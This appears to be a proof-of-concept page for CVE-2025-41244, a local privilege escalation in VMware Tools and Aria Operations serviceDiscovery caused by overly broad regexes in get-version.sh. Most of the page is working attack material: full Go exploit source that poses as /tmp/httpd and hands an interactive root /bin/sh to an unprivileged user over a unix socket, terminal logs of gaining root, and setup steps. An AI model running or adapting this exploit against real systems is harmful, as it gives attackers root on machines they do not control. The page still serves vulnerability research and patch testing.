CVE-2025-41244

Local Privilege Escalation through VMware Tools and/or VMware Aria Operations due to bad regexp in the serviceDiscovery get-version.sh script.

get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
get_version "/\S+/mysqld($|\s)" -V
get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v

The usage of the broad‑matching \S character class (matching non‑whitespace characters) in several of the regex patterns also matches non-system binaries (e.g., /tmp/httpd). Target system must have serviceDiscovery installed which can be found by running dpkg -l | grep vm-tools or browsing the directory /usr/lib/x86_64-linux-gnu/open-vm-tools/ and look for ./serviceDiscovery/scripts/get-versions.sh.

Service Discovery runs once every 5 minutes.

Vulnerable versions

  • VMware Cloud Foundation 4.x and 5.x

  • VMware Cloud Foundation 9.x.x.x

  • VMware Cloud Foundation 13.x.x.x (Windows, Linux)

  • VMware vSphere Foundation 9.x.x.x

  • VMware vSphere Foundation 13.x.x.x (Windows, Linux)

  • VMware Aria Operations 8.x

  • VMware Tools 11.x.x, 12.x.x, and 13.x.x (Windows, Linux)

  • VMware Telco Cloud Platform 4.x and 5.x

  • VMware Telco Cloud Infrastructure 2.x and 3.x

Requirements

  • serviceDiscovery must be installed

  • Binary name must match regexp check in get-version.sh e.g. /tmp/httpd

  • Binary must appear as a network service

PoC || GTFO

Vulnerable system:

kdev :: ~/poc/vmtoolsd » go build -o /tmp/httpd CVE-2025-41244.go
kdev :: ~/poc/vmtoolsd » id
uid=1001(void) gid=1001(void) groups=1001(void)
kdev :: ~/poc/vmtoolsd » /tmp/httpd           
Waiting on privileged process...

## Verify that process appear as a network service
kdev :: ~/poc/vmtoolsd » ss -lptn | grep httpd
LISTEN 0      4096            127.0.0.1:32837      0.0.0.0:*    users:(("httpd",pid=25343,fd=3))

## A shell will spawn within 5 minutes.
kdev :: ~/poc/vmtoolsd » /tmp/httpd       
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
# id
uid=0(root) gid=0(root) groups=0(root)

Non-vulnerable system, manual poc:

kdev :: ~/poc/vmtoolsd » go build -o /tmp/httpd CVE-2025-41244.go
kdev :: ~/poc/vmtoolsd » /tmp/httpd           
Waiting on privileged process...

kdev :: ~/poc/vmtoolsd » sudo ./get-version.sh
VERSIONSTART vcops_version  VERSIONEND
VERSIONSTART srm_mgt_server_version  VERSIONEND
VERSIONSTART vcenter_appliance_version  VERSIONEND
VERSIONSTART db2_version  VERSIONEND
VERSIONSTART tcserver_version  VERSIONEND

kdev :: ~/poc/vmtoolsd » /tmp/httpd       
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
# id
uid=0(root) gid=0(root) groups=0(root)

Source code

// CVE-2025-41244.go
package main

import (
        "fmt"
        "io"
        "net"
        "os"
        "os/exec"
)

func main() {
        // If started with an argument (e.g., -v or --version), assume we're the privileged process.
        // Otherwise, assume we're the unprivileged process.
        if len(os.Args) >= 2 {
                if err := connect(); err != nil {
                        panic(err)
                }
        } else {
                if err := serve(); err != nil {
                        panic(err)
                }
        }
}

func serve() error {
        // Open a dummy listener, ensuring the service can be discovered.
        dummy, err := net.Listen("tcp", "127.0.0.1:0")
        if err != nil {
                return err
        }
        defer dummy.Close()

        // Open a listener to exchange stdin, stdout and stderr streams.
        l, err := net.Listen("unix", "@cve")
        if err != nil {
                return err
        }
        defer l.Close()

        // Loop privilege escalations, but don't do concurrency.
        for {
                if err := handle(l); err != nil {
                        return err
                }
        }
}

func handle(l net.Listener) error {
        // Wait for the privileged stdin, stdout and stderr streams.
        fmt.Println("Waiting on privileged process...")

        stdin, err := l.Accept()
        if err != nil {
                return err
        }
        defer stdin.Close()

        stdout, err := l.Accept()
        if err != nil {
                return err
        }
        defer stdout.Close()

        stderr, err := l.Accept()
        if err != nil {
                return err
        }
        defer stderr.Close()

        // Interconnect stdin, stdout and stderr.
        fmt.Println("Connected to privileged process!")
        errs := make(chan error, 3)

        go func() {
                _, err := io.Copy(os.Stdout, stdout)
                errs <- err
        }()
        go func() {
                _, err := io.Copy(os.Stderr, stderr)
                errs <- err
        }()
        go func() {
                _, err := io.Copy(stdin, os.Stdin)
                errs <- err
        }()

        // Abort as soon as any of the interconnected streams fails.
        _ = <-errs
        return nil
}

func connect() error {
        // Define the privileged shell to execute.
        cmd := exec.Command("/bin/sh", "-i")

        // Connect to the unprivileged process
        stdin, err := net.Dial("unix", "@cve")
        if err != nil {
                return err
        }
        defer stdin.Close()

        stdout, err := net.Dial("unix", "@cve")
        if err != nil {
                return err
        }
        defer stdout.Close()

        stderr, err := net.Dial("unix", "@cve")
        if err != nil {
                return err
        }
        defer stderr.Close()

        // Interconnect stdin, stdout and stderr.
        fmt.Fprintln(stdout, "Starting privileged shell...")
        cmd.Stdin = stdin
        cmd.Stdout = stdout
        cmd.Stderr = stderr

        return cmd.Run()
}

Install Service Discovery

kdev :: ~/poc » sudo apt install open-vm-tools-sdmp
kdev :: ~/poc » sudo vmware-toolbox-cmd config set servicediscovery disabled false
kdev :: ~/poc » cat /etc/vmware-tools/tools.conf
...
[servicediscovery]
disabled=false
kdev :: ~/poc » sudo systemctl restart vmtoolsd 

After installing and restarting the service locally you may need to configure the Service Discovery adapter in your VMware management tool, such as vRealize Operations, to start collecting. Only then will the exploit trigger automatically.


Full blog post here: https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/

Last updated

Was this helpful?